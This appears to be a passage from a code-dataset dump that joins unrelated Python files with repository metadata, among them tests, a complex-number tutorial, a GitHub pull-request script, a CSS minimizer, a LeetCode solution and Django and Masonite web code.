# z = tf.identity(3*x*c, 'z')
# g1_def = g1.as_graph_def()
# z1, = tf.import_graph_def(g1_def, input_map={'foo/x:0' : y}, return_elements=["foo/z:0"],
# name='z1')
# init_op = tf.global_variables_initializer()
# print(tf.get_collection(tf.GraphKeys.GLOBAL_VARIABLES, scope='foo'))
#
#
# with tf.Session(graph=g1) as sess:
# sess.run(init_op)
# print(sess.run(z, feed_dict={'foo/x:0' : np.array([1.0, 2.0])}))
# print(sess.run(tf.report_uninitialized_variables()))
# z1 = sess.run(z1, feed_dict={'foo/x:0' : np.array([1.0, 2.0])})
# y = sess.run(y, feed_dict={'x:0' : np.array([1.0, 2.0])})
# print('y:', y)
# print(z1)
# print(A, B)
# print(tf.constant(0.0))
# aux_fn = lambda _, seqs : seqs[0] + seqs[1]
# C = tf.scan(fn=aux_fn, elems=[A, B], initializer=tf.cast(tf.constant(0.0), tf.float64))
#
# elems = np.array([1, 2, 3, 4, 5, 6])
# initializer = np.array(0)
# sum_one = tf.scan(lambda _, x: x[0] - x[1], (elems + 1, elems), initializer)
#
# sess = tf.Session()
# sess.run(tf.global_variables_initializer())
# print(sess.run(C))
# print(sess.run(sum_one))
#
# if __name__ == '__main__':
# t = Test1()
# t.test_simple()
# t.test_simple()
# tf.test.main()
|
[
"dh2832@columbia.edu"
] |
dh2832@columbia.edu
|
0e57403d465768ce696293f6d04c4118ca31f2dd
|
4135192648199d87a6b38c116db651594e64fa35
|
/tests/test_configuration.py
|
d990a1e6609ebef2a65863d6a36fc1a9599898d4
|
[
"Apache-2.0"
] |
permissive
|
yuzhougit/taurus
|
307458e97ef7ae9707ee02117545d721c419e720
|
50a3fa5043141d96cc63408a42f3cf0e37cbe0a3
|
refs/heads/master
| 2020-12-11T05:24:07.241315
| 2015-06-24T01:59:25
| 2015-06-24T01:59:25
| 37,914,679
| 0
| 0
| null | 2015-06-23T11:21:18
| 2015-06-23T11:21:18
| null |
UTF-8
|
Python
| false
| false
| 2,753
|
py
|
import logging
import six
import tempfile
from bzt.engine import Configuration
from bzt.utils import BetterDict
from tests import BZTestCase, __dir__
class TestConfiguration(BZTestCase):
def test_load(self):
obj = Configuration()
configs = [
__dir__() + "/../bzt/10-base.json",
__dir__() + "/json/jmx.json",
__dir__() + "/json/concurrency.json"
]
obj.load(configs)
logging.debug("config:\n%s", obj)
fname = tempfile.mkstemp()[1]
obj.dump(fname, Configuration.JSON)
with open(fname) as fh:
logging.debug("JSON:\n%s", fh.read())
fname = tempfile.mkstemp()[1]
obj.dump(fname, Configuration.YAML)
with open(fname) as fh:
logging.debug("YAML:\n%s", fh.read())
fname = tempfile.mkstemp()[1]
obj.dump(fname, Configuration.INI)
with open(fname) as fh:
logging.debug("INI:\n%s", fh.read())
def test_merge(self):
obj = Configuration()
configs = [
__dir__() + "/yaml/test.yml",
__dir__() + "/json/merge1.json",
__dir__() + "/json/merge2.json",
]
obj.load(configs)
fname = tempfile.mkstemp()[1]
obj.dump(fname, Configuration.JSON)
with open(fname) as fh:
logging.debug("JSON:\n%s", fh.read())
jmeter = obj['modules']['jmeter']
classval = jmeter['class']
self.assertEquals("bzt.modules.jmeter.JMeterExecutor", classval)
self.assertEquals("value", obj['key'])
self.assertEquals(6, len(obj["list-append"]))
self.assertEquals(2, len(obj["list-replace"]))
self.assertEquals(2, len(obj["list-replace-notexistent"]))
self.assertIsInstance(obj["list-complex"][1][0], BetterDict)
self.assertIsInstance(obj["list-complex"][1][0], BetterDict)
self.assertIsInstance(obj["list-complex"][1][0], BetterDict)
self.assertFalse("properties" in jmeter)
fname = tempfile.mkstemp()[1]
obj.dump(fname, Configuration.JSON)
checker = Configuration()
checker.load([fname])
token = checker["list-complex"][1][0]['token']
self.assertNotEquals('test', token)
token_orig = obj["list-complex"][1][0]['token']
self.assertEquals('test', token_orig)
def test_save(self):
obj = Configuration()
obj.merge({
"str": "text",
"uc": six.u("ucstring")
})
fname = tempfile.mkstemp()[1]
obj.dump(fname, Configuration.YAML)
with open(fname) as fh:
written = fh.read()
logging.debug("YAML:\n%s", written)
self.assertNotIn("unicode", written)
|
[
"apc4@ya.ru"
] |
apc4@ya.ru
|
a7c5f24fa36d7e83692dcda87fd00da4ff1ddd23
|
23f4584630c4b13fa54ebca8b1345a020605db10
|
/test/dataset/test_query.py
|
23d2fe8fc6109dd8c89e84054a96f503c2523d66
|
[
"MIT"
] |
permissive
|
chenxofhit/singlet
|
2aebe1d2a3700d498b1772301611dcebd0ddb966
|
c9264cf3451f816f9a256d4aa0b32c8b674638ae
|
refs/heads/master
| 2020-06-04T08:45:47.050305
| 2019-05-01T20:46:02
| 2019-05-01T20:46:02
| 191,950,542
| 2
| 0
| null | 2019-06-14T13:45:50
| 2019-06-14T13:45:50
| null |
UTF-8
|
Python
| false
| false
| 2,198
|
py
|
#!/usr/bin/env python
# vim: fdm=indent
'''
author: Fabio Zanini
date: 07/08/17
content: Test Dataset class.
'''
import pytest
@pytest.fixture(scope="module")
def ds():
from singlet.dataset import Dataset
return Dataset(
samplesheet='example_sheet_tsv',
counts_table='example_table_tsv',
featuresheet='example_sheet_tsv')
def test_average_samples(ds):
print('Average samples')
ds_avg = ds.average(axis='samples', column='experiment')
assert(tuple(ds_avg.samplenames) == ('exp1', 'test_pipeline'))
print('Done!')
def test_average_features(ds):
print('Average features')
ds_avg = ds.average(axis='features', column='annotation')
assert(tuple(ds_avg.featurenames) == ('gene', 'other', 'spikein'))
print('Done!')
def test_query_samples_meta(ds):
ds_tmp = ds.query_samples_by_metadata(
'experiment == "test_pipeline"',
inplace=False)
assert(tuple(ds_tmp.samplenames) == ('test_pipeline',))
def test_query_samples_name(ds):
ds_tmp = ds.query_samples_by_name(
ds.samplenames[1:3],
inplace=False)
assert(tuple(ds_tmp.samplenames) == tuple(ds.samplenames[1:3]))
def test_query_sample_counts_onegene(ds):
print('Query sample by counts in one gene')
ds_tmp = ds.query_samples_by_counts('KRIT1 > 100', inplace=False)
assert(tuple(ds_tmp.samplenames) == ('third_sample',))
print('Done!')
def test_query_sample_total_counts(ds):
print('Query sample by total counts')
ds_tmp = ds.query_samples_by_counts('total < 3000000', inplace=False)
assert(tuple(ds_tmp.samplenames) == ('second_sample',))
print('Done!')
def test_query_mapped_counts(ds):
print('Query sample by mapped counts')
ds_tmp = ds.query_samples_by_counts('mapped < 1000000', inplace=False)
assert(tuple(ds_tmp.samplenames) == ('second_sample',))
print('Done!')
def test_query_features_counts(ds):
print('Query features by counts')
ds_tmp = ds.query_features_by_counts(
'first_sample > 1000000',
inplace=False)
assert(tuple(ds_tmp.featurenames) == ('__alignment_not_unique',))
print('Done!')
|
[
"fabio.zanini@fastmail.fm"
] |
fabio.zanini@fastmail.fm
|
bdad55440d4677d72cd568533e733a8f3f5ef0ab
|
bb983b38f9be7b6fd4ab1a651484db37c1aeff39
|
/1030/python_complex.py
|
a40445ad017c432fa77d44b282863851697f01cc
|
[] |
no_license
|
nakanishi-akitaka/python2018_backup
|
c214df78372cca993d69f8001010ec2f6dcaf1be
|
45766d3c3777de2a91b3e2cf50c6bfedca8627da
|
refs/heads/master
| 2023-02-18T08:04:28.625532
| 2022-06-07T01:02:53
| 2022-06-07T01:02:53
| 201,399,236
| 5
| 30
| null | 2023-02-10T21:06:51
| 2019-08-09T05:48:22
|
Jupyter Notebook
|
UTF-8
|
Python
| false
| false
| 2,085
|
py
|
# -*- coding: utf-8 -*-
"""
https://note.nkmk.me/python-complex/
Created on Tue Oct 30 12:04:10 2018
@author: Akitaka
"""
c = 3 + 4j
print(c)
print(type(c))
# (3+4j)
# <class 'complex'>
# c = 3 + j
# NameError: name 'j' is not defined
c = 3 + 1j
print(c)
# (3+1j)
c = 3j
print(c)
# 3j
c = 3 + 0j
print(c)
# (3+0j)
c = 1.2e3 + 3j
print(c)
# (1200+3j)
c = complex(3, 4)
print(c)
print(type(c))
# (3+4j)
# <class 'complex'>
#%%
c = 3 + 4j
print(c.real)
print(type(c.real))
# 3.0
# <class 'float'>
print(c.imag)
print(type(c.imag))
# 4.0
# <class 'float'>
# c.real = 5.5
# AttributeError: readonly attribute
#%%
c = 3 + 4j
print(c.conjugate())
# (3-4j)
#%%
c = 3 + 4j
print(abs(c))
# 5.0
c = 1 + 1j
print(abs(c))
# 1.4142135623730951
#%%
import cmath
import math
c = 1 + 1j
print(math.atan2(c.imag, c.real))
# 0.7853981633974483
print(cmath.phase(c))
# 0.7853981633974483
print(cmath.phase(c) == math.atan2(c.imag, c.real))
# True
print(math.degrees(cmath.phase(c)))
# 45.0
#%%
c = 1 + 1j
print(cmath.polar(c))
print(type(cmath.polar(c)))
# (1.4142135623730951, 0.7853981633974483)
# <class 'tuple'>
print(cmath.polar(c)[0] == abs(c))
# True
print(cmath.polar(c)[1] == cmath.phase(c))
# True
print(cmath.rect(1, 1))
# (0.5403023058681398+0.8414709848078965j)
print(cmath.rect(1, 0))
# (1+0j)
print(cmath.rect(cmath.polar(c)[0], cmath.polar(c)[1]))
# (1.0000000000000002+1j)
r = 2
ph = math.pi
print(cmath.rect(r, ph).real == r * math.cos(ph))
# True
print(cmath.rect(r, ph).imag == r * math.sin(ph))
# True
#%%
c1 = 3 + 4j
c2 = 2 - 1j
print(c1 + c2)
# (5+3j)
print(c1 - c2)
# (1+5j)
print(c1 * c2)
# (10+5j)
print(c1 / c2)
# (0.4+2.2j)
print(c1 ** 3)
# (-117+44j)
print((-3 + 4j) ** 0.5)
# (1.0000000000000002+2j)
print((-1) ** 0.5)
# (6.123233995736766e-17+1j)
print(cmath.sqrt(-3 + 4j))
# (1+2j)
print(cmath.sqrt(-1))
# 1j
print(c1 + 3)
# (6+4j)
print(c1 * 0.5)
# (1.5+2j)
|
[
"noreply@github.com"
] |
nakanishi-akitaka.noreply@github.com
|
c3875ec4422c869b5e828ce009f3eed671c34811
|
30d360f965253167c99f9b4cd41001491aed08af
|
/Platinum_code/iolib.py
|
d0c23dd5894713465efb8d4bdd4e61b483d6f033
|
[] |
no_license
|
petervanya/PhDcode
|
d2d9f7170f201d6175fec9c3d4094617a5427fb5
|
891e6812a2699025d26b901c95d0c46a706b0c96
|
refs/heads/master
| 2020-05-22T06:43:47.293134
| 2018-01-29T12:59:42
| 2018-01-29T12:59:42
| 64,495,043
| 1
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 3,162
|
py
|
#!/usr/bin/env python
"""
Collection of often used functions for
* input/output
* rotating, translating and printing data
NOW MOSTLY OBSOLETE, ONLY *_table FUNCTIONS USED
pv278@cam.ac.uk, 11/05/15
"""
import numpy as np
from numpy.matlib import repmat
from math import sin, cos
def save_xyz(coords, atom_names, filename):
"""save xyz coords into file"""
f = open(filename,"w")
M, N = coords.shape
for i in range(M):
line = str(atom_names[i])+"\t"
for j in range(N):
line += "%.6f" % coords[i, j] + "\t"
line += "\n"
f.write(line)
f.close()
print "Coords saved to",filename
def print_xyz(coords, atom_names):
M, N = coords.shape
for i in range(M):
line = atom_names[i] + "\t"
for j in range(N):
line += "%.6f" % coords[i, j] + "\t"
print line
def read_xyz(filepath):
f = open(filepath,"r").readlines()
A = np.array([line.split() for line in f])
names = A[:,0]
data = A[:,1:].astype(float)
return names, data
def save_table(A, filepath, header=False, latex=False):
"""save table A into file, possibly with latex formatting"""
f = open(filepath,"w")
M,N = A.shape
if header:
f.write(header)
for i in range(M):
line = ""
for j in range(N):
line += str(A[i, j]) + "\t"
if latex:
line = " & ".join(line.split())
line += " \\\\"
line += "\n"
f.write(line)
f.close()
print "Table saved to",filepath
def print_table(A, header=""):
if header:
print header
M,N = A.shape
for i in range(M):
line=""
for j in range(N):
line += str(A[i, j]) + "\t"
print line
def read_table(filepath):
"""read summary tables
TODO: rewrite in pandas DataFrame"""
f = open(filepath,"r").readlines()
A = np.array([line.rstrip("\n").split("\t") for line in f])
return A
def get_path(Pt_dir, cluster, spin, eta=0, ext=""):
"""get full file path with eta and spin"""
if eta != 0:
path = Pt_dir + "/Pt_Water" + "/Pt" + cluster + "/Eta_" + str(eta) + "/S_" + str(spin) + "/Pt.out"
else:
path = Pt_dir + "/Pt_SP" + "/Pt" + cluster + "/S_" + str(spin) + "/Pt.out"
if ext:
path += "." + ext
return path
def shift(coords, s):
"""shift coordinates by a given vector s"""
N = len(coords)
return coords + repmat(s,N,1)
def rotate_theta(coords, theta):
"""rotate atoms by an angle theta (in radians)"""
N = coords.shape[0]
Rtheta = np.array([[cos(theta),0,-sin(theta)],
[0, 1, 0 ],
[sin(theta),0, cos(theta)]])
for i in range(N):
coords[i,:] = np.dot(Rtheta, coords[i,:])
return coords
def rotate_phi(coords, phi):
"""rotate atoms by angle phi (in radians)"""
N = coords.shape[0]
Rphi = np.array([[cos(phi),-sin(phi),0],
[sin(phi), cos(phi),0],
[0, 0, 1]])
for i in range(N):
coords[i,:] = np.dot(Rphi, coords[i,:])
return coords
|
[
"peter.vanya@gmail.com"
] |
peter.vanya@gmail.com
|
b113d75eb834a1baa075683489fe5ee46e7566d0
|
83df6e768cb3ba0dfab44d6ea8f766d9ace6191a
|
/git-pull-request
|
d0da808b388a2e3f7dca9df7332bb85cd7bfdf16
|
[] |
no_license
|
sumansai14/git-pull-request
|
8bf77a813d038f54d938aa9d80fce6be311debbf
|
2c79827f4976f131a6b67d846be01bdb79f1835e
|
refs/heads/master
| 2021-01-22T11:10:51.149158
| 2013-09-21T08:03:26
| 2013-09-21T08:03:26
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 2,485
|
#! /usr/bin/python
import sys
import os
import getpass
import pycurl
from io import BytesIO
import simplejson
from pygit2 import Repository
if __name__ == '__main__':
try:
repository = Repository(os.getcwd())
except KeyError:
raise SystemExit("This is not a valid git repository")
response_buffer = BytesIO()
remotes = repository.remotes
remotes_names = [remote.name for remote in remotes]
remote_upstream = sys.argv[1].split('/')[0]
remote_upstream_base = sys.argv[1].split('/')[1]
remote_origin = sys.argv[2].split('/')[0]
remote_origin_branch = sys.argv[2].split('/')[1]
for remote in remotes:
if remote.name == remote_upstream:
remote_upstream_instance = remote
else:
remote_origin_instance = remote
connection = pycurl.Curl()
connection.setopt(pycurl.URL, 'https://api.github.com/authorizations')
if remote_upstream in remotes_names and remote_origin in remotes_names:
username = raw_input('Username: ')
password = getpass.getpass()
connection.setopt(connection.USERPWD, '%s:%s' % (username, password))
connection.setopt(connection.POST, 1)
connection.setopt(connection.POSTFIELDS, '{"scopes": ["repo"]}')
connection.setopt(connection.WRITEFUNCTION, response_buffer.write)
connection.perform()
connection.close()
connection = pycurl.Curl()
json_response = simplejson.loads(response_buffer.getvalue())
token = json_response['token']
upstream_owner = remote_upstream_instance.url.split('/')[3]
repos = remote_upstream_instance.url.split('/')[4].split('.')[0]
post_json = {}
post_json["title"] = repository.head.get_object().message
post_json["body"] = ""
post_json["head"] = remote_origin_instance.url.split('/')[3] + ':' + remote_origin_branch
post_json["base"] = remote_upstream_base
data = simplejson.dumps(post_json)
connection.setopt(connection.POST, 1)
connection.setopt(connection.WRITEFUNCTION, response_buffer.write)
connection.setopt(connection.POSTFIELDS, data)
connection.setopt(connection.HTTPHEADER, [str('Authorization: token ' + token)])
url = 'https://api.github.com/repos/' + upstream_owner + '/' + repos + '/pulls'
connection.setopt(pycurl.URL, str(url))
connection.perform()
response = response_buffer.getvalue()
print response
|
[
"suman.sai14@gmail.com"
] |
suman.sai14@gmail.com
|
|
0004d9a94c55fb8335acb6a83e0924a5285ca505
|
04b1803adb6653ecb7cb827c4f4aa616afacf629
|
/third_party/blink/renderer/build/scripts/minimize_css.py
|
b5d6630df41e958b062a04c414d5ec6f4ebd35d0
|
[
"BSD-3-Clause",
"LGPL-2.0-or-later",
"LicenseRef-scancode-warranty-disclaimer",
"LGPL-2.1-only",
"GPL-1.0-or-later",
"GPL-2.0-only",
"LGPL-2.0-only",
"BSD-2-Clause",
"LicenseRef-scancode-other-copyleft",
"MIT",
"Apache-2.0"
] |
permissive
|
Samsung/Castanets
|
240d9338e097b75b3f669604315b06f7cf129d64
|
4896f732fc747dfdcfcbac3d442f2d2d42df264a
|
refs/heads/castanets_76_dev
| 2023-08-31T09:01:04.744346
| 2021-07-30T04:56:25
| 2021-08-11T05:45:21
| 125,484,161
| 58
| 49
|
BSD-3-Clause
| 2022-10-16T19:31:26
| 2018-03-16T08:07:37
| null |
UTF-8
|
Python
| false
| false
| 4,038
|
py
|
#!/usr/bin/env python
# Copyright 2016 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
import functools
import os.path
import re
import sys
import in_generator
class CSSMinimizer(object):
INITIAL = 0
MAYBE_COMMENT_START = 1
INSIDE_COMMENT = 2
MAYBE_COMMENT_END = 3
INSIDE_SINGLE_QUOTE = 4
INSIDE_SINGLE_QUOTE_ESCAPE = 5
INSIDE_DOUBLE_QUOTE = 6
INSIDE_DOUBLE_QUOTE_ESCAPE = 7
def __init__(self):
self._output = ''
self._codeblock = ''
def flush_codeblock(self):
stripped = re.sub(r"\s+", ' ', self._codeblock)
stripped = re.sub(r";?\s*(?P<op>[{};])\s*", r'\g<op>', stripped)
self._output += stripped
self._codeblock = ''
def parse(self, content):
state = self.INITIAL
for char in content:
if state == self.INITIAL:
if char == '/':
state = self.MAYBE_COMMENT_START
elif char == "'":
self.flush_codeblock()
self._output += char
state = self.INSIDE_SINGLE_QUOTE
elif char == '"':
self.flush_codeblock()
self._output += char
state = self.INSIDE_DOUBLE_QUOTE
else:
self._codeblock += char
elif state == self.MAYBE_COMMENT_START:
if char == '*':
self.flush_codeblock()
state = self.INSIDE_COMMENT
else:
self._codeblock += '/' + char
state = self.INITIAL
elif state == self.INSIDE_COMMENT:
if char == '*':
state = self.MAYBE_COMMENT_END
else:
pass
elif state == self.MAYBE_COMMENT_END:
if char == '/':
state = self.INITIAL
else:
state = self.INSIDE_COMMENT
elif state == self.INSIDE_SINGLE_QUOTE:
if char == '\\':
self._output += char
state = self.INSIDE_SINGLE_QUOTE_ESCAPE
elif char == "'":
self._output += char
state = self.INITIAL
else:
self._output += char
elif state == self.INSIDE_SINGLE_QUOTE_ESCAPE:
self._output += char
state = self.INSIDE_SINGLE_QUOTE
elif state == self.INSIDE_DOUBLE_QUOTE:
if char == '\\':
self._output += char
state = self.INSIDE_DOUBLE_QUOTE_ESCAPE
elif char == '"':
self._output += char
state = self.INITIAL
else:
self._output += char
elif state == self.INSIDE_DOUBLE_QUOTE_ESCAPE:
self._output += char
state = self.INSIDE_DOUBLE_QUOTE
self.flush_codeblock()
self._output = self._output.strip()
return self._output
@classmethod
def minimize_css(cls, content):
minimizer = CSSMinimizer()
return minimizer.parse(content)
class CSSMinimizerWriter(in_generator.GenericWriter):
def __init__(self, in_file_paths):
super(CSSMinimizerWriter, self).__init__(in_file_paths)
self._outputs = {}
for in_file_path in in_file_paths:
out_path = os.path.basename(in_file_path)
self._outputs[out_path] = functools.partial(self.generate_implementation, in_file_path)
def generate_implementation(self, in_file_path):
content = ''
with open(os.path.abspath(in_file_path)) as in_file:
content = in_file.read()
return CSSMinimizer.minimize_css(content)
if __name__ == '__main__':
in_generator.Maker(CSSMinimizerWriter).main(sys.argv)
|
[
"sunny.nam@samsung.com"
] |
sunny.nam@samsung.com
|
8054f04fd59a5abb4779b2111f0044990155023e
|
a9c3db07c29a46baf4f88afe555564ed0d8dbf2e
|
/src/2562-count-ways-to-build-good-strings/count-ways-to-build-good-strings.py
|
8e882ad478562e9e000a22806859060bf2a03c5d
|
[] |
no_license
|
HLNN/leetcode
|
86d2f5b390be9edfceadd55f68d94c78bc8b7644
|
35010d67341e6038ae4ddffb4beba4a9dba05d2a
|
refs/heads/master
| 2023-03-13T16:44:58.901326
| 2023-03-03T00:01:05
| 2023-03-03T00:01:05
| 165,402,662
| 6
| 6
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,513
|
py
|
# Given the integers zero, one, low, and high, we can construct a string by starting with an empty string, and then at each step perform either of the following:
#
#
# Append the character '0' zero times.
# Append the character '1' one times.
#
#
# This can be performed any number of times.
#
# A good string is a string constructed by the above process having a length between low and high (inclusive).
#
# Return the number of different good strings that can be constructed satisfying these properties. Since the answer can be large, return it modulo 109 + 7.
#
#
# Example 1:
#
#
# Input: low = 3, high = 3, zero = 1, one = 1
# Output: 8
# Explanation:
# One possible valid good string is "011".
# It can be constructed as follows: "" -> "0" -> "01" -> "011".
# All binary strings from "000" to "111" are good strings in this example.
#
#
# Example 2:
#
#
# Input: low = 2, high = 3, zero = 1, one = 2
# Output: 5
# Explanation: The good strings are "00", "11", "000", "110", and "011".
#
#
#
# Constraints:
#
#
# 1 <= low <= high <= 105
# 1 <= zero, one <= low
#
#
class Solution:
def countGoodStrings(self, low: int, high: int, zero: int, one: int) -> int:
dp = [0] * (high + 1)
dp[0] = 1
for i in range(1, high + 1):
res = 0
if i - zero >= 0:
res += dp[i - zero]
if i - one >= 0:
res += dp[i - one]
dp[i] = res
return sum(dp[low:high+1]) % 1000000007
|
[
"Huangln555@gmail.com"
] |
Huangln555@gmail.com
|
d560fc0d2b8f3321a9e68037057fb55f921903a1
|
25e989e986522cf91365a6cc51e3c68b3d29351b
|
/app/http/middleware/AuthenticationMiddleware.py
|
99adcdc091431d1a5b3a5bbb41bf42513de34bbd
|
[
"MIT"
] |
permissive
|
josephmancuso/gbaleague-masonite2
|
ff7a3865927705649deea07f68d89829b2132d31
|
b3dd5ec3f20c07eaabcc3129b0c50379a946a82b
|
refs/heads/master
| 2022-05-06T10:47:21.809432
| 2019-03-31T22:01:04
| 2019-03-31T22:01:04
| 136,680,885
| 0
| 1
|
MIT
| 2022-03-21T22:16:43
| 2018-06-09T01:33:01
|
Python
|
UTF-8
|
Python
| false
| false
| 575
|
py
|
""" Authentication Middleware """
from masonite.request import Request
class AuthenticationMiddleware(object):
""" Middleware To Check If The User Is Logged In """
def __init__(self, request: Request):
""" Inject Any Dependencies From The Service Container """
self.request = request
def before(self):
""" Run This Middleware Before The Route Executes """
if not self.request.user():
self.request.redirect_to('login')
def after(self):
""" Run This Middleware After The Route Executes """
pass
|
[
"idmann509@gmail.com"
] |
idmann509@gmail.com
|
db0f8afef8d68e3ed565154f785157d870834be8
|
1342deb03620f60f0e91c9d5b579667c11cb2d6d
|
/debug/mydict.py
|
7c7d4035b416fe6a111668ac611d61938b76421f
|
[] |
no_license
|
ahuer2435/python_study
|
678501ff90a9fc403105bff7ba96bcf53c8f53e2
|
8a7cc568efefdc993c5738ffa2100c2e051acdb7
|
refs/heads/master
| 2021-01-15T18:00:43.851039
| 2018-04-04T05:37:50
| 2018-04-04T05:37:50
| 99,775,158
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 425
|
py
|
# -*- coding: utf-8 -*-
class Dict(dict):
def __init__(self, **kw):
super(Dict,self).__init__(**kw) # 返回的是基类
def __getattr__(self,key):
try:
return self[key]
except KeyError:
raise AttributeError(r"'Dict' object has no attribute '%s'" % key)
def __setattr__(self,key,value):
self[key] = value
#相当于在基类的基础之上增加了__getattr__和__setattr__对key的修饰。
|
[
"18221079843@139.com"
] |
18221079843@139.com
|
a251069222a43562b476d29d369c468287564ab7
|
60df913818933b6aabd8007405b675d958f5078b
|
/subscription_join/forms.py
|
c3a84f41095cb16420dc19aba818ae5447946c9f
|
[] |
no_license
|
ProsenjitKumar/prosenjit-das
|
b8d0e9081790d07673753b774550975bca9ad423
|
b08eb8e91939c234563f1f6a9d7870de2c519599
|
refs/heads/master
| 2022-11-28T07:04:01.615997
| 2019-06-02T20:23:21
| 2019-06-02T20:23:21
| 189,855,835
| 1
| 0
| null | 2022-11-22T03:14:52
| 2019-06-02T14:22:48
|
HTML
|
UTF-8
|
Python
| false
| false
| 1,687
|
py
|
from crispy_forms.helper import FormHelper
from django import forms
from django.core.mail import send_mail
from crispy_forms.layout import Layout, Div, Submit, Row, Column, Field
import re
from crispy_forms.layout import Submit
from .models import NewsLetterUser, NewsLetter
class ContactForm(forms.Form):
subject = forms.CharField(max_length=100)
message = forms.CharField(widget=forms.Textarea)
email = forms.EmailField()
cc_myself = forms.BooleanField(required=False)
def send_mail(self):
subject = self.cleaned_data['subject']
message = self.cleaned_data['message']
# subject = 'From Prosnjit Localhost'
# message = '%s %s' % (comment, name)
emailFrom = self.cleaned_data['email']
cc_myself = self.cleaned_data['cc_myself']
emailTo = ['prosenjitearnkumar@gmail.com']
send_mail(subject, message, emailFrom, emailTo, fail_silently=False,)
class CrispyContactAddressForm(ContactForm):
def __init__(self, *args, **kwargs):
super().__init__(*args, **kwargs)
self.helper = FormHelper()
self.helper.layout = Layout(
Row(
Column('email', css_class='form-group col-md-6 mb-0'),
Column('subject', css_class='form-group col-md-6 mb-0'),
css_class='form-row'
),
Row(
Column('message', css_class='form-group col-md-6 mb-0'),
),
'cc_myself',
Submit('submit', 'Send')
)
class NewsLetterUserSignUpForm(forms.Form):
email = forms.EmailField()
def clean_data(self):
emailFrom = self.cleaned_data['email']
|
[
"prosenjitearnkumar@gmail.com"
] |
prosenjitearnkumar@gmail.com
|
b448d0f8bc5967e987a3b64d13f17fcca3feb1bd
|
b8e9dd6fd8f8b691cba5a3af2388467bcf6c90bb
|
/samples/openapi3/client/3_0_3_unit_test/python-experimental/unit_test_api/model/maxlength_validation.pyi
|
783b51cc9870e0680e3a4fa5efa97a10f27c64c3
|
[
"Apache-2.0"
] |
permissive
|
FallenRiteMonk/openapi-generator
|
f8b98940219eecf14dc76dced4b0fbd394522aa3
|
b6576d11733ecad6fa4a0a616e1a06d502a771b7
|
refs/heads/master
| 2023-03-16T05:23:36.501909
| 2022-09-02T01:46:56
| 2022-09-02T01:46:56
| 164,609,299
| 0
| 0
|
Apache-2.0
| 2019-01-08T09:08:56
| 2019-01-08T09:08:56
| null |
UTF-8
|
Python
| false
| false
| 1,846
|
pyi
|
# coding: utf-8
"""
openapi 3.0.3 sample spec
sample spec for testing openapi functionality, built from json schema tests for draft6 # noqa: E501
The version of the OpenAPI document: 0.0.1
Generated by: https://openapi-generator.tech
"""
from datetime import date, datetime # noqa: F401
import decimal # noqa: F401
import functools # noqa: F401
import io # noqa: F401
import re # noqa: F401
import typing # noqa: F401
import uuid # noqa: F401
import frozendict # noqa: F401
from unit_test_api import schemas # noqa: F401
class MaxlengthValidation(
schemas.AnyTypeSchema,
):
"""NOTE: This class is auto generated by OpenAPI Generator.
Ref: https://openapi-generator.tech
Do not edit the class manually.
"""
class MetaOapg:
additional_properties = schemas.AnyTypeSchema
def __getitem__(self, name: typing.Union[str, ]) -> MetaOapg.additional_properties:
# dict_instance[name] accessor
if not hasattr(self.MetaOapg, 'properties') or name not in self.MetaOapg.properties.__annotations__:
return super().__getitem__(name)
try:
return super().__getitem__(name)
except KeyError:
return schemas.unset
def __new__(
cls,
*args: typing.Union[dict, frozendict.frozendict, str, date, datetime, uuid.UUID, int, float, decimal.Decimal, None, list, tuple, bytes, ],
_configuration: typing.Optional[schemas.Configuration] = None,
**kwargs: typing.Union[MetaOapg.additional_properties, dict, frozendict.frozendict, str, date, datetime, uuid.UUID, int, float, decimal.Decimal, None, list, tuple, bytes, ],
) -> 'MaxlengthValidation':
return super().__new__(
cls,
*args,
_configuration=_configuration,
**kwargs,
)
|
[
"noreply@github.com"
] |
FallenRiteMonk.noreply@github.com
|
73061d115f4cab440666da9fd0537873a719f7b1
|
eed51de6f1f27979187d4be62a989f74d77a54aa
|
/py_flask2/run.py
|
da759db885d22dc60dd35b854fca129a036030cb
|
[] |
no_license
|
yjw0216/Samsung-MultiCampus-python-edu
|
2635c0074de6a94975482b57b88f38d98b487784
|
d8178606305fd9aec54e1b0f9df63a0f012c728c
|
refs/heads/master
| 2020-03-22T05:12:23.215529
| 2018-08-17T02:48:07
| 2018-08-17T02:48:07
| 139,549,482
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,904
|
py
|
from flask import Flask , request , url_for , render_template , redirect , jsonify
from model.d1_8 import searchSql , selectTeamName , updateTeamInfo ## 내가만든 모듈(DB처리부분) import !!
app = Flask(__name__)
# 페이지 구성
# 홈페이지의 주소(URL)를 ~/ 로 정의하자
@app.route('/')
def home():
return render_template('index.html',title='홈페이지')
@app.route('/join')
def join():
return render_template('test.1.html', title='회원가입')
@app.route('/search' , methods=['POST'])
def search():
keyword = request.form['keyword']
# DB로 검색어를 보내서 쿼리 수행후 결과를 받아온다.
# tmp={'name':'맨유','keyword':keyword}
tmp = searchSql( keyword )
if tmp ==None:
tmp=[] ## json에서 None은 받아들이지 못하므로 비어있는 리스트로 대체한다.
# print(tmp)
# jsonify() : 파이썬 객체를 json문자열로 처리
return jsonify(tmp)
# 팀 세부 정보 보기
@app.route('/info/<teamName>')
def info(teamName):
q = request.args.get('q')
print( 'q=%s' % q )
row = selectTeamName(teamName)
# q값이 None이면 그냥 정보보기, update이면 수정하기 이다.
return render_template('info.html' , team = row , flag= q) ## team은 row라는 변수에 키 값을 부여한것 !
# 팀 정보 수정
@app.route('/updateTeam', methods = ['POST'])
def updateTeam():
## 전달된 데이터 중 총 경기수와 이름을 획득
total = request.form['total']
name = request.form['name']
## 수정 쿼리 수행
result = updateTeamInfo(total,name)
# return '덕배 %s' % request.form['name']
if result:
return render_template('alert2.html' , msg='수정 성공 XD' , url='/info/'+name)
else :
return render_template('alert2.html', msg=' 수정 실패 :( ')
if __name__ == '__main__':
app.run(debug=True)
|
[
"ysw01044@naver.com"
] |
ysw01044@naver.com
|
6e11396cffb0e94913e3102fbb95ce31d9f0fe01
|
bc60fea66d910fd7ff88e6c0476be0eeaccffe7e
|
/init_db.py
|
7cf4902323126ede1ef112539d37a8ab4ce4f13b
|
[] |
no_license
|
pahaz/django-2016-steps
|
